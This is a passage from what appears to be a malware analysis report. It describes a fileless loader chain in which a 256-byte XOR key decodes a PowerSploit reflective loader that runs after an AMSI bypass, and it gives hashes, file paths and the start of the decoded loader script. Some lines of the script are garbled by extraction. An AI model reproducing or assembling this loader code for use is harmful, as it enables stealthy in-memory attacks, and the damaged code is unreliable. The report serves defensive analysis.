---End Decoded PowerShell Script--
The script allows PowerShell to run without system restrictions while bypassing the Microsoft Antimalware program. Next, the script decodes
the file "WwanSvc.c" (d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32) using a bitwise Exclusive OR (XOR)
with a 256 byte key that is found in WwanSvc.a (dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291). Both
WwanSvc.a and WwanSvc.c are located in C:\ProgramData\Microsoft\. The newly decoded script is then executed using the InvokeExpression
command


-----

Tags

loaderobfuscated

Details

**Name** WwanSvc.a

**Size** 256 bytes

**Type** data

**MD5** 77b6cc5bca517f2d4c954d3d8c8c67df

**SHA1** ff9b181fe3f3b15b37ab8823fc47119c310fc51f

**SHA256** dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291

**SHA512** a70ff48b0a2a7d8bac1fb4b2df7b27a26e3ce974ae6927611e764a5ebe7892ab468b0a3537c47de7195f7787f5c781d686e4ece0f339174

**ssdeep** 6:nZmAvoD0jmQw0fCRj6DoSbTrbBKgqtjQUOjv6g7RH:toojn1CRj6DoSbTrl1WQjig7RH

**Entropy** 8.000000

**Path** C:\ProgramData\Microsoft

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

dec8655cdd... Used_By 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40

dec8655cdd... Used_By c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd

Description

This artifact contains a 256 byte key that is used by the base64 encoded script in WwanSvc.txt to decode a new PowerShell script in
WwanSvc.c (d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32). The key is also used to decode the reflectively
loaded payload in WwanSvc.b (d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32).

**d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32**

Tags

file-lessloaderobfuscated

Details

**Name** WwanSvc.c

**Size** 121572 bytes

**Type** data

**MD5** 23fd1bca24a1f68293096ba9022bd0f1

**SHA1** 2ab0d1092127268f30490523ec0aa3736416096b

**SHA256** d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32

**SHA512** 37ac754b31bc0a8246111e621b544e5c00c6c8330b6858895e35368f39d973b63f24eb73dd0cc9964991f59ea6720c269a55192f4751b8

**ssdeep** 3072:LkBl3uCZsVZFN41v7cV7PBbC4/ggW7hPe1G8zW6:Y2FGZ7ebNFW7hG1fL

**Entropy** 7.998578

**Path** C:\ProgramData\Microsoft

A ti i


-----

o atc es ou d

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

d3d5e5a8a4... Used_By 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40

Description

This artifact is a XOR encoded PowerSploit reflective loader program. The program is decoded using the 256 byte key found in WwanSvc.a
(dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291). The decoded content of the script follows:

---Begin Decoded Script Content--$PEBytes = $null

function RemoteScriptBlock ($FuncReturnType, $ProcId, $ProcName, $ForceASLR)

###################################
########## Win32 Stuff ##########
###################################
Function Get-Win32Types
{
$Win32Types = New-Object System.Object

#Define all the structures/enums that will be used
#  This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]

############  ENUM  ############
#Enum MachineType
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
$MachineType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType

#Enum MagicType
$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
$MagicType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType

#Enum SubSystemType
$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null

$TypeBuilder DefineLiteral('IMAGE SUBSYSTEM EFI RUNTIME DRIVER' [UInt16] 12) | Out Null


-----

$ ype u de e e te a ( G _SU S S _ _ O, [U t 6] 3) | Out u
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
$SubSystemType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType

#Enum DllCharacteristicsType
$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
$DllCharacteristicsType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType

###########  STRUCT  ###########
#Struct IMAGE_DATA_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY

#Struct IMAGE_FILE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER

#Struct IMAGE_OPTIONAL_HEADER64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null

($TypeBuilder DefineField('MajorSubsystemVersion' [UInt16] 'Public')) SetOffset(48) | Out-Null


-----

($ ype u de e e e d( o Subsyste e s o, [U t 6], ub c )) SetO set(50) | Out u
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value
$IMAGE_OPTIONAL_HEADER64

#Struct IMAGE_OPTIONAL_HEADER32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null

($TypeBuilder DefineField('SizeOfHeapCommit' [UInt32] 'Public')) SetOffset(84) | Out-Null


-----

($ ype u de e e e d( oade ags, [U t3 ], ub c )) SetO set(88) | Out u
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value
$IMAGE_OPTIONAL_HEADER32

#Struct IMAGE_NT_HEADERS64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64

#Struct IMAGE_NT_HEADERS32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32

#Struct IMAGE_DOS_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null

$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32]
4))

$e resField SetCustomAttribute($AttribBuilder)


-----

$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null

$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32]
10))
$e_res2Field.SetCustomAttribute($AttribBuilder)

$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER

#Struct IMAGE_SECTION_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)

$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32]
8))
$nameField.SetCustomAttribute($AttribBuilder)

$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER

#Struct IMAGE_BASE_RELOCATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION

#Struct IMAGE_IMPORT_DESCRIPTOR
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value
$IMAGE_IMPORT_DESCRIPTOR

#Struct IMAGE_EXPORT_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null

$TypeBuilder DefineField('Name' [UInt32] 'Public') | Out-Null


-----

$ ype u de e e e d( ase, [U t3 ], ub c ) | Out u
$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value
$IMAGE_EXPORT_DIRECTORY

#Struct LUID
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LUID = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID

#Struct LUID_AND_ATTRIBUTES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
